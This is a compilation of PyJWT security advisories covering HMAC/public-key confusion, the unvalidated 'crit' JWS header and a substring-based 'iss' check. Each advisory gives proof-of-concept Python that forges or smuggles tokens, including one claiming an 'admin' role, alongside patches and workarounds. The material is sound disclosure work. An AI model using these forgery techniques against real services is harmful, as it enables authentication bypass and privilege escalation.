PyJWT known bugs

In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.

### Impact _What kind of vulnerability is it? Who is impacted?_ Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). > PyJWT supports multiple different JWT signing algorithms. With JWT, an > attacker submitting the JWT token can choose the used signing algorithm. > > The PyJWT library requires that the application chooses what algorithms > are supported. The application can specify > "jwt.algorithms.get_default_algorithms()" to get support for all > algorithms. They can also specify a single one of them (which is the > usual use case if calling jwt.decode directly. However, if calling > jwt.decode in a helper function, all algorithms might be enabled.) > > For example, if the user chooses "none" algorithm and the JWT checker > supports that, there will be no signature checking. This is a common > security issue with some JWT implementations. > > PyJWT combats this by requiring that the if the "none" algorithm is > used, the key has to be empty. As the key is given by the application > running the checker, attacker cannot force "none" cipher to be used. > > Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is > not a public key meant for asymmetric algorithm i.e. HMAC cannot be used > if the key begins with "ssh-rsa". If HMAC is used with a public key, the > attacker can just use the publicly known public key to sign the token > and the checker would use the same key to verify. > > From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. > With ed25519, PyJWT supports public keys that start with "ssh-", for > example "ssh-ed25519". ```python import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad:     print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # #        invalid_strings = [ #            b"-----BEGIN PUBLIC KEY-----", #            b"-----BEGIN CERTIFICATE-----", #            b"-----BEGIN RSA PUBLIC KEY-----", #            b"ssh-rsa", #        ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # #                if "-----BEGIN PUBLIC" in str_key: #                    return load_pem_public_key(key) #                if "-----BEGIN PRIVATE" in str_key: #                    return load_pem_private_key(key, password=None) #                if str_key[0:4] == "ssh-": #                    return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior ``` ```python import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") ``` > The issue is not that big as > algorithms=jwt.algorithms.get_default_algorithms() has to be used. > However, with quick googling, this seems to be used in some cases at > least in some minor projects. ### Patches Users should upgrade to v2.4.0. ### Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. ### References _Are there any links users can visit to find out more?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in https://github.com/jpadilla/pyjwt * Email José Padilla: pyjwt at jpadilla dot com

## Summary PyJWT does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC. This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH). --- ## RFC Requirement RFC 7515 §4.1.11: > The "crit" (Critical) Header Parameter indicates that extensions to this > specification and/or [JWA] are being used that **MUST** be understood and > processed. [...] If any of the listed extension Header Parameters are > **not understood and supported** by the recipient, then the **JWS is invalid**. --- ## Proof of Concept ```python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json # Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"} def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b"=").decode() h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}" # Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}") ``` **Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy` **Actual:** Token accepted, payload returned. ### Comparison with RFC-compliant library ```python # jwcrypto — correctly rejects from jwcrypto import jwt as jw_jwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jw_jwt.JWT(jwt=token, key=key, algs=["HS256"]) # raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"') ``` --- ## Impact - **Split-brain verification** in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - **Security policy bypass** when `crit` carries enforcement semantics (MFA, token binding, scope restrictions) - **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis --- ## Suggested Fix In `jwt/api_jwt.py`, add validation in `_validate_headers()` or `decode()`: ```python _SUPPORTED_CRIT = {"b64"} # Add extensions PyJWT actually supports def _validate_crit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self._SUPPORTED_CRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header") ``` --- ## CWE - CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization ## References - [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11) - [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32) - [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.

### Summary The wrong string if check is run for `iss` checking, resulting in `"acb"` being accepted for `"_abc_"`. ### Details This is a bug introduced in version [2.10.0](https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366): checking the "iss" claim changed from `isinstance(issuer, list)` to `isinstance(issuer, Sequence)`. ```diff - if isinstance(issuer, list): + if isinstance(issuer, Sequence): if payload["iss"] not in issuer: raise InvalidIssuerError("Invalid issuer") else: ``` Since str is a Sequnce, but not a list, `in` is also used for string comparison. This results in `if "abc" not in "__abcd__":` being checked instead of `if "abc" != "__abc__":`. ### PoC Check out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm ```python issuer = "urn:expected" payload = {"iss": "urn:"} token = jwt.encode(payload, "secret") # decode() succeeds, even though `"urn:" != "urn:expected". No exception is raised. with pytest.raises(InvalidIssuerError): jwt.decode(token, "secret", issuer=issuer, algorithms=["HS256"]) ``` ### Impact I would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.